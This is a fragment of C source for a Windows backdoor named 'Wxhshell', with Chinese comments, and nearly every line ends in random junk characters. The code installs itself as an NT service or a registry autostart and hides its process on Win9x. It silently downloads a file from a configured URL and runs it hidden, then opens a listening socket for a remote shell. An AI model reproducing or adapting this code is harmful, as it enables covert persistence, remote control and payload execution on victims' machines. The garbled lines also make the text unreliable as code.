DWORD PebBaseAddress; Ry r2
DWORD AffinityMask; {!Jw+LPv$$
DWORD BasePriority; kk
)9!7
ULONG UniqueProcessId; ~bg?V0
ULONG InheritedFromUniqueProcessId; 5fDVJE "9"
} PROCESS_BASIC_INFORMATION; 7 S(5\9
?tV $o,11
PROCNTQSIP NtQueryInformationProcess; 9}:%CpD^~I
+*mi%)I
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N>xs@_"o
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tNG0ft%a
rAM{<
HANDLE hProcess; Nu<M~/
PROCESS_BASIC_INFORMATION pbi; nV@k}IJg:?
@y2{LUJe
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ][I}yOD70
if(NULL == hInst ) return 0; dzKI?i)x
x9p,j
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >01&3-r
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'UUIY$V[
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xOt%H\*k"
AKzhal!
if (!NtQueryInformationProcess) return 0; :Fm;0R@/k
D/5 ah_;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .|G([O^H
if(!hProcess) return 0; vB
hpD
~$Xz~#~
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u|BD=4*
4w<U%57
CloseHandle(hProcess); f]jAa?d T&
6X$]d^)h{
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Oc}4`?oy<O
if(hProcess==NULL) return 0; h2QoBGL5
@6~r7/WD
HMODULE hMod; WA\
P`'lg
char procName[255]; `07xW*K(\Y
unsigned long cbNeeded; h;u8{t"
{r yv7G
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &"p7X>bd
>ZTRwy`_(
CloseHandle(hProcess); kn:X^mDXC/
?>92OuG%W?
if(strstr(procName,"services")) return 1; // 以服务启动 ^7G@CBic"
jgQn^
return 0; // 注册表启动 8'
M43n
} ]DHB'NOh,
u!S ^lV@
// 主模块 kc
Q~}uFB
int StartWxhshell(LPSTR lpCmdLine)
|_xU{Pu
{ p%/Z
SOCKET wsl; Oe:+%p
BOOL val=TRUE; 3MPmLV#f
int port=0; 1MkQ$v7m
struct sockaddr_in door; wJ,l"bnq
dfAnO F"-
if(wscfg.ws_autoins) Install(); e*{'A
"j#;MOK
port=atoi(lpCmdLine); j*B,b4
i|?EgGFG
if(port<=0) port=wscfg.ws_port; ,UNCBnv1
ixm-wZI
WSADATA data; }TI"j{(QJ
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E4idEQ}H
2K[Y|.u8>q
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; U$-Gc[=|
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &Azfpv
door.sin_family = AF_INET; + :4
F@R
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'M8wjU
door.sin_port = htons(port); xF.n=z
MKMWHGN
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BC.~wNz6
closesocket(wsl); R~TzZ(Ah]
return 1; )(V|d$n
} .dM4B'OA?
rWsUWA T*
if(listen(wsl,2) == INVALID_SOCKET) { v/gxQy+l
closesocket(wsl); eLPWoQXt
return 1; wl2P^Pj
} ]@LeyT'cY
Wxhshell(wsl); }ADdKK-
WSACleanup();
.nh }f}j
>d2U=Yk!
return 0; .{r 0Szm.
Esx"nex
} ^k{b8-)W<
r Z)?uqa
// 以NT服务方式启动 '&v.h#<
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OynQlQD/Eu
{ ($s%5|
DWORD status = 0; noI>Fw<V
DWORD specificError = 0xfffffff; 'y_<O |-
>(T)9fKF
serviceStatus.dwServiceType = SERVICE_WIN32; ?D[9-K4Vn
serviceStatus.dwCurrentState = SERVICE_START_PENDING; SWwL.-+E]
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9vX~gh{]~
serviceStatus.dwWin32ExitCode = 0; $D&N^}alW
serviceStatus.dwServiceSpecificExitCode = 0; A:Y
([
serviceStatus.dwCheckPoint = 0; XM?>#^nC?u
serviceStatus.dwWaitHint = 0; P?WS=w*O0
FLf< gz
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A<$~Q;r2a
if (hServiceStatusHandle==0) return;
&=ZVU\o:
R(.5Hs
status = GetLastError(); P qUjBP\
if (status!=NO_ERROR) 1V/?p<A
{ Z@sDxYt9
serviceStatus.dwCurrentState = SERVICE_STOPPED; X"hdCY%
serviceStatus.dwCheckPoint = 0; =emcs%
serviceStatus.dwWaitHint = 0; ' 5tk0A
serviceStatus.dwWin32ExitCode = status; q)N]*~
serviceStatus.dwServiceSpecificExitCode = specificError; ~|CWy
SetServiceStatus(hServiceStatusHandle, &serviceStatus); LeP;HP|
return; =Pj+^+UM
} |-+ IF,j
9pF@#A9p
serviceStatus.dwCurrentState = SERVICE_RUNNING; <?8aM7W7
serviceStatus.dwCheckPoint = 0; z.d1>w
serviceStatus.dwWaitHint = 0; `_;sT8
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WZh%iuI{C
} D_s0)|j$cy
>G#SfE$0
// 处理NT服务事件,比如:启动、停止 WlJ=X$
VOID WINAPI NTServiceHandler(DWORD fdwControl) r~2>_LK
{ 'aV/\a:*
switch(fdwControl) o*5iHa(Qm
{ yq7gBkS
case SERVICE_CONTROL_STOP: ~(v7:?
serviceStatus.dwWin32ExitCode = 0; c2E*A+V#u
serviceStatus.dwCurrentState = SERVICE_STOPPED; S Lsw '<
serviceStatus.dwCheckPoint = 0; 9I1D'7wI^^
serviceStatus.dwWaitHint = 0; _EEOBaZ
{ 3aX/)v.:4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2wX4e0cOI4
} 3:]c> GPQ
return; pHNo1-k\
case SERVICE_CONTROL_PAUSE: Z(h.)$yH*=
serviceStatus.dwCurrentState = SERVICE_PAUSED; .Tm m
break; t@"i/@8x$
case SERVICE_CONTROL_CONTINUE: arWP]%E0W
serviceStatus.dwCurrentState = SERVICE_RUNNING; s^\
*jZ6
break; bfV&z+Rv-5
case SERVICE_CONTROL_INTERROGATE: E&z`BPd
break; Vf*Z }'
}; or<n[<D-C
SetServiceStatus(hServiceStatusHandle, &serviceStatus); iY[+BI:
} 3bU(ea^e$
W[VbFsI&b
// 标准应用程序主函数 }w_r(g?\
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U\'HB.P\
{ <@448,9&
nY)H-u^
// 获取操作系统版本 NNgpDL*
OsIsNt=GetOsVer(); * a ?qV
GetModuleFileName(NULL,ExeFile,MAX_PATH); |^09ny|
s;!_'1pi@
// 从命令行安装 OL%KAEnD
if(strpbrk(lpCmdLine,"iI")) Install(); ,%=SO 82W
y3+iADo.p
// 下载执行文件 w,)O*1't
if(wscfg.ws_downexe) { VZ3{$0
+
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y?'Krw `
WinExec(wscfg.ws_filenam,SW_HIDE); tEam6xNf,
} KkJrh@lk
93[&'
if(!OsIsNt) { '$q=r x
// 如果时win9x,隐藏进程并且设置为注册表启动 =:"wU
HideProc(); gVscdg5
StartWxhshell(lpCmdLine); je#OV,uHM
} !E@4^A80\W
else UURYK~$K:
if(StartFromService()) `qs[a}%'>"
// 以服务方式启动 }mdk+IEt
StartServiceCtrlDispatcher(DispatchTable); ,'Sj:l
else '_~qAx@F#c
// 普通方式启动 "h`oT4j5q
StartWxhshell(lpCmdLine);
}N0$DqP
xQ0.2[*5
return 0; B?gFFU61
}